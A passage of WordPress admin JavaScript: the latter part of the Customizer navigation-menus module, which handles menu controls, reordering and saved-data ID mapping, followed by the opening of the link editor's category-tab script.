				navMenuLocationSetting.bind( function( selectedMenuId ) {
					updateCheckbox( selectedMenuId === control.params.menu_id );
					updateSelectedMenuLabel( selectedMenuId );
				} );
				updateSelectedMenuLabel( navMenuLocationSetting.get() );
			});
		},

		/**
		 * Set the selected locations.
		 *
		 * This method sets the selected locations and allows us to do things like
		 * set the default location for a new menu.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object.<string,boolean>} selections - A map of location selections.
		 * @return {void}
		 */
		setSelections: function( selections ) {
			this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
				var locationId = checkboxNode.dataset.locationId;
				checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
			} );
		}
	});

	/**
	 * wp.customize.Menus.MenuAutoAddControl
	 *
	 * Customizer control for a nav menu's auto add.
	 *
	 * @class    wp.customize.Menus.MenuAutoAddControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{

		ready: function() {
			var control = this,
				settingValue = control.setting();

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );

			control.autoAddElement.bind(function( value ) {
				var settingValue = control.setting();
				if ( settingValue && settingValue.name !== value ) {
					settingValue = _.clone( settingValue );
					settingValue.auto_add = value;
					control.setting.set( settingValue );
				}
			});
			if ( settingValue ) {
				control.autoAddElement.set( settingValue.auto_add );
			}

			control.setting.bind(function( object ) {
				if ( object ) {
					control.autoAddElement.set( object.auto_add );
				}
			});
		}

	});

	/**
	 * wp.customize.Menus.MenuControl
	 *
	 * Customizer control for menus.
	 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
	 *
	 * @class    wp.customize.Menus.MenuControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{
		/**
		 * Set up the control.
		 */
		ready: function() {
			var control = this,
				section = api.section( control.section() ),
				menuId = control.params.menu_id,
				menu = control.setting(),
				name,
				widgetTemplate,
				select;

			if ( 'undefined' === typeof this.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since the control is not registered in PHP, we need to prevent the
			 * preview's sending of the activeControls to result in this control
			 * being deactivated.
			 */
			control.active.validate = function() {
				var value;
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};

			control.$controlSection = section.headContainer;
			control.$sectionContent = control.container.closest( '.accordion-section-content' );

			this._setupModel();

			api.section( control.section(), function( section ) {
				section.deferred.initSortables.done(function( menuList ) {
					control._setupSortable( menuList );
				});
			} );

			this._setupAddition();
			this._setupTitle();

			// Add menu to Navigation Menu widgets.
			if ( menu ) {
				name = displayNavMenuName( menu.name );

				// Add the menu to the existing controls.
				api.control.each( function( widgetControl ) {
					if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
						return;
					}
					widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
					widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();

					select = widgetControl.container.find( 'select' );
					if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
						select.append( new Option( name, menuId ) );
					}
				} );

				// Add the menu to the widget template.
				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
				select = widgetTemplate.find( '.widget-inside select:first' );
				if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
					select.append( new Option( name, menuId ) );
				}
			}

			/*
			 * Wait for menu items to be added.
			 * Ideally, we'd bind to an event indicating construction is complete,
			 * but deferring appears to be the best option today.
			 */
			_.defer( function () {
				control.updateInvitationVisibility();
			} );
		},

		/**
		 * Update ordering of menu item controls when the setting is updated.
		 */
		_setupModel: function() {
			var control = this,
				menuId = control.params.menu_id;

			control.setting.bind( function( to ) {
				var name;
				if ( false === to ) {
					control._handleDeletion();
				} else {
					// Update names in the Navigation Menu widgets.
					name = displayNavMenuName( to.name );
					api.control.each( function( widgetControl ) {
						if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
							return;
						}
						var select = widgetControl.container.find( 'select' );
						select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
					});
				}
			} );
		},

		/**
		 * Allow items in each menu to be re-ordered, and for the order to be previewed.
		 *
		 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
		 * which is called in MenuSection.onChangeExpanded()
		 *
		 * @param {Object} menuList - The element that has sortable().
		 */
		_setupSortable: function( menuList ) {
			var control = this;

			if ( ! menuList.is( control.$sectionContent ) ) {
				throw new Error( 'Unexpected menuList.' );
			}

			menuList.on( 'sortstart', function() {
				control.isSorting = true;
			});

			menuList.on( 'sortstop', function() {
				setTimeout( function() { // Next tick.
					var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
						menuItemControls = [],
						position = 0,
						priority = 10;

					control.isSorting = false;

					// Reset horizontal scroll position when done dragging.
					control.$sectionContent.scrollLeft( 0 );

					_.each( menuItemContainerIds, function( menuItemContainerId ) {
						var menuItemId, menuItemControl, matches;
						matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
						if ( ! matches ) {
							return;
						}
						menuItemId = parseInt( matches[1], 10 );
						menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
						if ( menuItemControl ) {
							menuItemControls.push( menuItemControl );
						}
					} );

					_.each( menuItemControls, function( menuItemControl ) {
						if ( false === menuItemControl.setting() ) {
							// Skip deleted items.
							return;
						}
						var setting = _.clone( menuItemControl.setting() );
						position += 1;
						priority += 1;
						setting.position = position;
						menuItemControl.priority( priority );

						// Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
						setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
						if ( ! setting.menu_item_parent ) {
							setting.menu_item_parent = 0;
						}

						menuItemControl.setting.set( setting );
					});
				});

			});
			control.isReordering = false;

			/**
			 * Keyboard-accessible reordering.
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				control.toggleReordering( ! control.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new menu item.
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					$( this ).attr( 'aria-expanded', 'true' );
					api.Menus.availableMenuItemsPanel.open( self );
				} else {
					$( this ).attr( 'aria-expanded', 'false' );
					api.Menus.availableMenuItemsPanel.close();
					event.stopPropagation();
				}
			} );
		},

		_handleDeletion: function() {
			var control = this,
				section,
				menuId = control.params.menu_id,
				removeSection,
				widgetTemplate,
				navMenuCount = 0;
			section = api.section( control.section() );
			removeSection = function() {
				section.container.remove();
				api.section.remove( section.id );
			};

			if ( section && section.expanded() ) {
				section.collapse({
					completeCallback: function() {
						removeSection();
						wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
						api.panel( 'nav_menus' ).focus();
					}
				});
			} else {
				removeSection();
			}

			api.each(function( setting ) {
				if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
					navMenuCount += 1;
				}
			});

			// Remove the menu from any Navigation Menu widgets.
			api.control.each(function( widgetControl ) {
				if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
					return;
				}
				var select = widgetControl.container.find( 'select' );
				if ( select.val() === String( menuId ) ) {
					select.prop( 'selectedIndex', 0 ).trigger( 'change' );
				}

				widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
				widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
				widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
			});

			// Remove the menu to the nav menu widget template.
			widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
			widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
			widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
			widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
		},

		/**
		 * Update Section Title as menu name is changed.
		 */
		_setupTitle: function() {
			var control = this;

			control.setting.bind( function( menu ) {
				if ( ! menu ) {
					return;
				}

				var section = api.section( control.section() ),
					menuId = control.params.menu_id,
					controlTitle = section.headContainer.find( '.accordion-section-title' ),
					sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
					location = section.headContainer.find( '.menu-in-location' ),
					action = sectionTitle.find( '.customize-action' ),
					name = displayNavMenuName( menu.name );

				// Update the control title.
				controlTitle.text( name );
				if ( location.length ) {
					location.appendTo( controlTitle );
				}

				// Update the section title.
				sectionTitle.text( name );
				if ( action.length ) {
					action.prependTo( sectionTitle );
				}

				// Update the nav menu name in location selects.
				api.control.each( function( control ) {
					if ( /^nav_menu_locations\[/.test( control.id ) ) {
						control.container.find( 'option[value=' + menuId + ']' ).text( name );
					}
				} );

				// Update the nav menu name in all location checkboxes.
				section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
					if ( $( this ).prop( 'checked' ) ) {
						$( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
					}
				} );
			} );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				itemsTitle = this.$sectionContent.find( '.item-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );
			this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
			if ( this.isReordering ) {
				addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
				itemsTitle.attr( 'aria-hidden', 'false' );
			} else {
				addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
				itemsTitle.attr( 'aria-hidden', 'true' );
			}

			if ( showOrHide ) {
				_( this.getMenuItemControls() ).each( function( formControl ) {
					formControl.collapseForm();
				} );
			}
		},

		/**
		 * @return {wp.customize.controlConstructor.nav_menu_item[]}
		 */
		getMenuItemControls: function() {
			var menuControl = this,
				menuItemControls = [],
				menuTermId = menuControl.params.menu_id;

			api.control.each(function( control ) {
				if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
					menuItemControls.push( control );
				}
			});

			return menuItemControls;
		},

		/**
		 * Make sure that each menu item control has the proper depth.
		 */
		reflowMenuItems: function() {
			var menuControl = this,
				menuItemControls = menuControl.getMenuItemControls(),
				reflowRecursively;

			reflowRecursively = function( context ) {
				var currentMenuItemControls = [],
					thisParent = context.currentParent;
				_.each( context.menuItemControls, function( menuItemControl ) {
					if ( thisParent === menuItemControl.setting().menu_item_parent ) {
						currentMenuItemControls.push( menuItemControl );
						// @todo We could remove this item from menuItemControls now, for efficiency.
					}
				});
				currentMenuItemControls.sort( function( a, b ) {
					return a.setting().position - b.setting().position;
				});

				_.each( currentMenuItemControls, function( menuItemControl ) {
					// Update position.
					context.currentAbsolutePosition += 1;
					menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.

					// Update depth.
					if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
						_.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
							menuItemControl.container.removeClass( className );
						});
						menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
					}
					menuItemControl.container.data( 'item-depth', context.currentDepth );

					// Process any children items.
					context.currentDepth += 1;
					context.currentParent = menuItemControl.params.menu_item_id;
					reflowRecursively( context );
					context.currentDepth -= 1;
					context.currentParent = thisParent;
				});

				// Update class names for reordering controls.
				if ( currentMenuItemControls.length ) {
					_( currentMenuItemControls ).each(function( menuItemControl ) {
						menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
						if ( 0 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-left-disabled' );
						} else if ( 10 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-right-disabled' );
						}
					});

					currentMenuItemControls[0].container
						.addClass( 'move-up-disabled' )
						.addClass( 'move-right-disabled' )
						.toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
					currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
						.addClass( 'move-down-disabled' )
						.toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
				}
			};

			reflowRecursively( {
				menuItemControls: menuItemControls,
				currentParent: 0,
				currentDepth: 0,
				currentAbsolutePosition: 0
			} );

			menuControl.updateInvitationVisibility( menuItemControls );
			menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
		},

		/**
		 * Note that this function gets debounced so that when a lot of setting
		 * changes are made at once, for instance when moving a menu item that
		 * has child items, this function will only be called once all of the
		 * settings have been updated.
		 */
		debouncedReflowMenuItems: _.debounce( function() {
			this.reflowMenuItems.apply( this, arguments );
		}, 0 ),

		/**
		 * Add a new item to this menu.
		 *
		 * @param {Object} item - Value for the nav_menu_item setting to be created.
		 * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
		 */
		addItemToMenu: function( item ) {
			var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10,
				originalItemId = item.id || '';

			_.each( menuControl.getMenuItemControls(), function( control ) {
				if ( false === control.setting() ) {
					return;
				}
				priority = Math.max( priority, control.priority() );
				if ( 0 === control.setting().menu_item_parent ) {
					position = Math.max( position, control.setting().position );
				}
			});
			position += 1;
			priority += 1;

			item = $.extend(
				{},
				api.Menus.data.defaultSettingValues.nav_menu_item,
				item,
				{
					nav_menu_term_id: menuControl.params.menu_id,
					original_title: item.title,
					position: position
				}
			);
			delete item.id; // Only used by Backbone.

			placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
			customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
			settingArgs = {
				type: 'nav_menu_item',
				transport: api.Menus.data.settingTransport,
				previewer: api.previewer
			};
			setting = api.create( customizeId, customizeId, {}, settingArgs );
			setting.set( item ); // Change from initial empty object to actual item to mark as dirty.

			// Add the menu item control.
			menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
				type: 'nav_menu_item',
				section: menuControl.id,
				priority: priority,
				settings: {
					'default': customizeId
				},
				menu_item_id: placeholderId,
				original_item_id: originalItemId
			} );

			api.control.add( menuItemControl );
			setting.preview();
			menuControl.debouncedReflowMenuItems();

			wp.a11y.speak( api.Menus.data.l10n.itemAdded );

			return menuItemControl;
		},

		/**
		 * Show an invitation to add new menu items when there are no menu items.
		 *
		 * @since 4.9.0
		 *
		 * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls
		 */
		updateInvitationVisibility: function ( optionalMenuItemControls ) {
			var menuItemControls = optionalMenuItemControls || this.getMenuItemControls();

			this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 );
		}
	} );

	/**
	 * Extends wp.customize.controlConstructor with control constructor for
	 * menu_location, menu_item, nav_menu, and new_menu.
	 */
	$.extend( api.controlConstructor, {
		nav_menu_location: api.Menus.MenuLocationControl,
		nav_menu_item: api.Menus.MenuItemControl,
		nav_menu: api.Menus.MenuControl,
		nav_menu_name: api.Menus.MenuNameControl,
		nav_menu_locations: api.Menus.MenuLocationsControl,
		nav_menu_auto_add: api.Menus.MenuAutoAddControl
	});

	/**
	 * Extends wp.customize.panelConstructor with section constructor for menus.
	 */
	$.extend( api.panelConstructor, {
		nav_menus: api.Menus.MenusPanel
	});

	/**
	 * Extends wp.customize.sectionConstructor with section constructor for menu.
	 */
	$.extend( api.sectionConstructor, {
		nav_menu: api.Menus.MenuSection,
		new_menu: api.Menus.NewMenuSection
	});

	/**
	 * Init Customizer for menus.
	 */
	api.bind( 'ready', function() {

		// Set up the menu items panel.
		api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({
			collection: api.Menus.availableMenuItems
		});

		api.bind( 'saved', function( data ) {
			if ( data.nav_menu_updates || data.nav_menu_item_updates ) {
				api.Menus.applySavedData( data );
			}
		} );

		/*
		 * Reset the list of posts created in the customizer once published.
		 * The setting is updated quietly (bypassing events being triggered)
		 * so that the customized state doesn't become immediately dirty.
		 */
		api.state( 'changesetStatus' ).bind( function( status ) {
			if ( 'publish' === status ) {
				api( 'nav_menus_created_posts' )._value = [];
			}
		} );

		// Open and focus menu control.
		api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl );
	} );

	/**
	 * When customize_save comes back with a success, make sure any inserted
	 * nav menus and items are properly re-added with their newly-assigned IDs.
	 *
	 * @alias wp.customize.Menus.applySavedData
	 *
	 * @param {Object} data
	 * @param {Array} data.nav_menu_updates
	 * @param {Array} data.nav_menu_item_updates
	 */
	api.Menus.applySavedData = function( data ) {

		var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {};

		_( data.nav_menu_updates ).each(function( update ) {
			var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection;
			if ( 'inserted' === update.status ) {
				if ( ! update.previous_term_id ) {
					throw new Error( 'Expected previous_term_id' );
				}
				if ( ! update.term_id ) {
					throw new Error( 'Expected term_id' );
				}
				oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']';
				if ( ! api.has( oldCustomizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
				}
				oldSetting = api( oldCustomizeId );
				if ( ! api.section.has( oldCustomizeId ) ) {
					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
				}
				oldSection = api.section( oldCustomizeId );

				settingValue = oldSetting.get();
				if ( ! settingValue ) {
					throw new Error( 'Did not expect setting to be empty (deleted).' );
				}
				settingValue = $.extend( _.clone( settingValue ), update.saved_value );

				insertedMenuIdMapping[ update.previous_term_id ] = update.term_id;
				newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']';
				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
					type: 'nav_menu',
					transport: api.Menus.data.settingTransport,
					previewer: api.previewer
				} );

				shouldExpandNewSection = oldSection.expanded();
				if ( shouldExpandNewSection ) {
					oldSection.collapse();
				}

				// Add the menu section.
				newSection = new api.Menus.MenuSection( newCustomizeId, {
					panel: 'nav_menus',
					title: settingValue.name,
					customizeAction: api.Menus.data.l10n.customizingMenus,
					type: 'nav_menu',
					priority: oldSection.priority.get(),
					menu_id: update.term_id
				} );

				// Add new control for the new menu.
				api.section.add( newSection );

				// Update the values for nav menus in Navigation Menu controls.
				api.control.each( function( setting ) {
					if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) {
						return;
					}
					var select, oldMenuOption, newMenuOption;
					select = setting.container.find( 'select' );
					oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' );
					newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' );
					newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) );
					oldMenuOption.remove();
				} );

				// Delete the old placeholder nav_menu.
				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
				oldSetting.set( false );
				oldSetting.preview();
				newSetting.preview();
				oldSetting._dirty = false;

				// Remove nav_menu section.
				oldSection.container.remove();
				api.section.remove( oldCustomizeId );

				// Update the nav_menu widget to reflect removed placeholder menu.
				navMenuCount = 0;
				api.each(function( setting ) {
					if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
						navMenuCount += 1;
					}
				});
				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
				widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();

				// Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options.
				wp.customize.control.each(function( control ){
					if ( /^nav_menu_locations\[/.test( control.id ) ) {
						control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
					}
				});

				// Update nav_menu_locations to reference the new ID.
				api.each( function( setting ) {
					var wasSaved = api.state( 'saved' ).get();
					if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) {
						setting.set( update.term_id );
						setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update().
						api.state( 'saved' ).set( wasSaved );
						setting.preview();
					}
				} );

				if ( shouldExpandNewSection ) {
					newSection.expand();
				}
			} else if ( 'updated' === update.status ) {
				customizeId = 'nav_menu[' + String( update.term_id ) + ']';
				if ( ! api.has( customizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + customizeId );
				}

				// Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name).
				setting = api( customizeId );
				if ( ! _.isEqual( update.saved_value, setting.get() ) ) {
					wasSaved = api.state( 'saved' ).get();
					setting.set( update.saved_value );
					setting._dirty = false;
					api.state( 'saved' ).set( wasSaved );
				}
			}
		} );

		// Build up mapping of nav_menu_item placeholder IDs to inserted IDs.
		_( data.nav_menu_item_updates ).each(function( update ) {
			if ( update.previous_post_id ) {
				insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id;
			}
		});

		_( data.nav_menu_item_updates ).each(function( update ) {
			var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl;
			if ( 'inserted' === update.status ) {
				if ( ! update.previous_post_id ) {
					throw new Error( 'Expected previous_post_id' );
				}
				if ( ! update.post_id ) {
					throw new Error( 'Expected post_id' );
				}
				oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']';
				if ( ! api.has( oldCustomizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
				}
				oldSetting = api( oldCustomizeId );
				if ( ! api.control.has( oldCustomizeId ) ) {
					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
				}
				oldControl = api.control( oldCustomizeId );

				settingValue = oldSetting.get();
				if ( ! settingValue ) {
					throw new Error( 'Did not expect setting to be empty (deleted).' );
				}
				settingValue = _.clone( settingValue );

				// If the parent menu item was also inserted, update the menu_item_parent to the new ID.
				if ( settingValue.menu_item_parent < 0 ) {
					if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) {
						throw new Error( 'inserted ID for menu_item_parent not available' );
					}
					settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ];
				}

				// If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id.
				if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) {
					settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ];
				}

				newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']';
				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
					type: 'nav_menu_item',
					transport: api.Menus.data.settingTransport,
					previewer: api.previewer
				} );

				// Add the menu control.
				newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, {
					type: 'nav_menu_item',
					menu_id: update.post_id,
					section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']',
					priority: oldControl.priority.get(),
					settings: {
						'default': newCustomizeId
					},
					menu_item_id: update.post_id
				} );

				// Remove old control.
				oldControl.container.remove();
				api.control.remove( oldCustomizeId );

				// Add new control to take its place.
				api.control.add( newControl );

				// Delete the placeholder and preview the new setting.
				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
				oldSetting.set( false );
				oldSetting.preview();
				newSetting.preview();
				oldSetting._dirty = false;

				newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) );
			}
		});

		/*
		 * Update the settings for any nav_menu widgets that had selected a placeholder ID.
		 */
		_.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) {
			var setting = api( widgetSettingId );
			if ( setting ) {
				setting._value = widgetSettingValue;
				setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu.
			}
		});
	};

	/**
	 * Focus a menu item control.
	 *
	 * @alias wp.customize.Menus.focusMenuItemControl
	 *
	 * @param {string} menuItemId
	 */
	api.Menus.focusMenuItemControl = function( menuItemId ) {
		var control = api.Menus.getMenuItemControl( menuItemId );
		if ( control ) {
			control.focus();
		}
	};

	/**
	 * Get the control for a given menu.
	 *
	 * @alias wp.customize.Menus.getMenuControl
	 *
	 * @param menuId
	 * @return {wp.customize.controlConstructor.menus[]}
	 */
	api.Menus.getMenuControl = function( menuId ) {
		return api.control( 'nav_menu[' + menuId + ']' );
	};

	/**
	 * Given a menu item ID, get the control associated with it.
	 *
	 * @alias wp.customize.Menus.getMenuItemControl
	 *
	 * @param {string} menuItemId
	 * @return {Object|null}
	 */
	api.Menus.getMenuItemControl = function( menuItemId ) {
		return api.control( menuItemIdToSettingId( menuItemId ) );
	};

	/**
	 * @alias wp.customize.Menus~menuItemIdToSettingId
	 *
	 * @param {string} menuItemId
	 */
	function menuItemIdToSettingId( menuItemId ) {
		return 'nav_menu_item[' + menuItemId + ']';
	}

	/**
	 * Apply sanitize_text_field()-like logic to the supplied name, returning a
	 * "unnammed" fallback string if the name is then empty.
	 *
	 * @alias wp.customize.Menus~displayNavMenuName
	 *
	 * @param {string} name
	 * @return {string}
	 */
	function displayNavMenuName( name ) {
		name = name || '';
		name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name.
		name = name.toString().trim();
		return name || api.Menus.data.l10n.unnamed;
	}

})( wp.customize, wp, jQuery );
/**
 * @output wp-admin/js/link.js
 */

/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */

jQuery( function($) {

	var newCat, noSyncChecks = false, syncChecks, catAddAfter;

	$('#link_name').trigger( 'focus' );
	// Postboxes.
	postboxes.add_postbox_toggles('link');

	/**
	 * Adds event that opens a particular category tab.
	 *
	 * @ignore
	 *
	 * @return {boolean} Always returns false to prevent the default behavior.
	 */
	$('#category-tabs a').on( 'click', function(){
		var t = $(this).attr('href');
		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
		$('.tabs-panel').hide();
		$(t).show();
		if ( '#categories-all' == t )
			deleteUserSetting('cats');
		else
			setUserSetting('cats','pop');
		return false;
	});
	if ( getUserSetting('cats') )
		$('#category-tabs a[href="#categories-pop"]').trigger( 'click' );

	// Ajax Cat.
	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );

	/**
	 * After adding a new category, focus on the category add input field.
	 *
	 * @return {void}
	 */
	$('#link-category-add-submit').on( 'click', function() { newCat.focus(); } );

	/**
	 * Synchronize category checkboxes.
	 *
	 * This function makes sure that the checkboxes are synced between the all
	 * categories tab and the most used categories tab.
	 *
	 * @since 2.5.0
	 *
	 * @return {void}
	 */
	syncChecks = function() {
		if ( noSyncChecks )
			return;
		noSyncChecks = true;
		var th = $(this), c = th.is(':checked'), id = th.val().toString();
		$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
		noSyncChecks = false;
	};

	/**
	 * Adds event listeners to an added category.
	 *
	 * This is run on the addAfter event to make sure the correct event listeners
	 * are bound to the DOM elements.
	 *
	 * @since 2.5.0
	 *
	 * @param {string} r Raw XML response returned from the server after adding a
	 *                   category.
	 * @param {Object} s List manager configuration object; settings for the Ajax
	 *                   request.
	 *
	 * @return {void}
	 */
	catAddAfter = function( r, s ) {
		$(s.what + ' response_data', r).each( function() {
			var t = $($(this).text());
			t.find( 'label' ).each( function() {
				var th = $(this),
					val = th.find('input').val(),
					id = th.find('input')[0].id,
					name = th.text().trim(),
					o;
				$('#' + id).on( 'change', syncChecks );
				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
			} );
		} );
	};

	/*
	 * Instantiates the list manager.
	 *
	 * @see js/_enqueues/lib/lists.js
	 */
	$('#categorychecklist').wpList( {
		// CSS class name for alternate styling.
		alt: '',

		// The type of list.
		what: 'link-category',

		// ID of the element the parsed Ajax response will be stored in.
		response: 'category-ajax-response',

		// Callback that's run after an item got added to the list.
		addAfter: catAddAfter
	} );

	// All categories is the default tab, so we delete the user setting.
	$('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');});

	// Set a preference for the popular categories to cookies.
